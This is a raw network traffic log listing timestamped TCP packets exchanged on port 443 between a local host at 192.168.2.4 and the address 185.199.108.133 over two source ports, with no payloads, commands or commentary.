Sep 20, 2024 12:14:50.225500107 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.225518942 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.226689100 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.226732016 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.226778984 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.226790905 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.226828098 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.226847887 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.226977110 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.227032900 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.227077961 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.227088928 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.227139950 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.227161884 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.227363110 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.227438927 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.227442026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.227467060 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.227509975 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.227529049 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.243531942 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.243577003 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.243629932 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.243647099 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.243676901 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.243696928 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.244131088 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.244169950 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.244209051 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.244266987 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.244307041 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.244344950 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.256963968 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.257003069 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.257121086 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.257121086 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.257134914 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.257436991 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.257472992 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.257527113 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.257534981 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.257574081 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.257652044 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.257661104 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.257668972 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.257690907 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.257719040 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.257724047 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.257786036 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.257786036 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.257986069 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.258018017 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.258120060 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.258120060 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.258126974 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.258488894 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.258524895 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.258603096 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.258603096 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.258610964 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.259130955 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.274215937 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.274250031 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.274329901 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.274339914 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.274374008 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.274430037 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.274481058 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.274511099 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.274549961 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.274555922 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.274597883 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.274624109 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.274950981 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.274979115 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.275043011 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.275055885 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.275075912 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.275151968 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.309335947 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.309376955 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.309437990 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.309461117 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.309490919 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.309600115 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.311501026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.311542034 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.311602116 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.311613083 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.311640024 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.311680079 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.313632965 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.313673973 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.313726902 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.313738108 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.313774109 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.313800097 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.326555967 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.326610088 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.326674938 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.326694012 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.326721907 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.326764107 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.326766968 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.326788902 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.326833963 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.326836109 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.326880932 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.326890945 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.326919079 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.326963902 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.327023029 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.327063084 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.327105999 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.327116966 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.327162981 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.327183008 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.332056046 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.332097054 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.332156897 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.332170010 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.332215071 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.332235098 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.332628965 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.332667112 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.332751989 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.332765102 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.332827091 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.344942093 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.344980001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.345077991 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.345091105 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.345146894 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.345627069 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.345659971 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.345710039 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.345716000 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.345765114 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.345828056 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.346225977 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.346257925 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.346308947 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.346314907 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.346383095 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.346895933 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.346924067 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.347003937 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.347011089 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.347084045 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.347548008 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.347579002 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.347646952 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.347654104 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.347671986 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.348129034 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.362478018 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.362517118 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.362581968 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.362591028 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.362612963 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.363034964 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.363044977 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.363051891 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.363075018 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.363112926 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.363120079 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.363169909 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.363826990 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.363856077 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.363922119 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.363928080 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.363954067 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.364067078 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.400048971 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.400127888 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.400202990 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.400238991 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.400265932 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.402843952 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.402890921 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.402930975 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.402944088 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.402970076 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.403012037 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.403861046 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.403912067 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.403956890 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.403970957 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.403996944 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.405494928 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.413564920 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.413604975 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.413661003 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.413675070 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.413712978 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.413732052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.414684057 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.414724112 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.414767981 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.414778948 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.414824963 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.414845943 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.414947987 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.414993048 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.415039062 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.415050030 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.415076971 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.415100098 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.415796995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.415888071 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.415932894 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.415942907 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.415968895 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.416007042 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.416338921 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.416379929 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.416450024 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.416460037 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.416503906 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.416521072 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.432133913 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.432171106 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.432276011 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.432291031 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.432352066 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.432885885 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.432914019 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.433018923 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.433027029 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.433083057 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.433397055 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.433422089 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.433499098 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.433506012 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.433561087 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.434055090 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.434077978 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.434160948 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.434169054 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.434210062 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.434597015 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.434619904 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.434767962 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.434776068 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.434825897 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.448472977 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.448529959 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.448666096 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.448698997 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.448704958 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.448724985 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.448736906 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.448791027 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.449420929 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.449614048 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.449915886 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.450061083 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.489523888 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.489583969 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.489748001 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.489756107 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.489757061 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.489825964 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.489871979 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.489881992 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.489891052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.489907026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.489949942 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.489999056 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.491041899 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.491101980 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.491242886 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.491276026 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.491343975 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.502562046 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.502618074 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.502746105 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.502777100 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.502809048 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.502860069 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.502880096 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.502916098 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.502955914 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.502974987 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.502994061 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.503036976 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.503108025 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.503122091 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.503179073 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.504048109 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.504091024 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.504143000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.504154921 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.504185915 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.504220963 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.504529953 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.504574060 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.504614115 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.504625082 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.504654884 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.504677057 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.523524046 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.523591042 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.523628950 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.523638964 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.523694038 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.523694038 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.524015903 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.524060011 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.524095058 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.524101019 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.524157047 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.524626017 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.524676085 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.524703979 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.524709940 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.524765015 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.524765015 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.525110960 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.525151014 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.525181055 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.525186062 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.525224924 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.525268078 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.525711060 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.525763035 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.525799036 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.525804043 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.525836945 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.525882006 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:50.535547972 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.535593033 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:50.535665035 CEST	58639	443	192.168.2.4	185.199.108.133
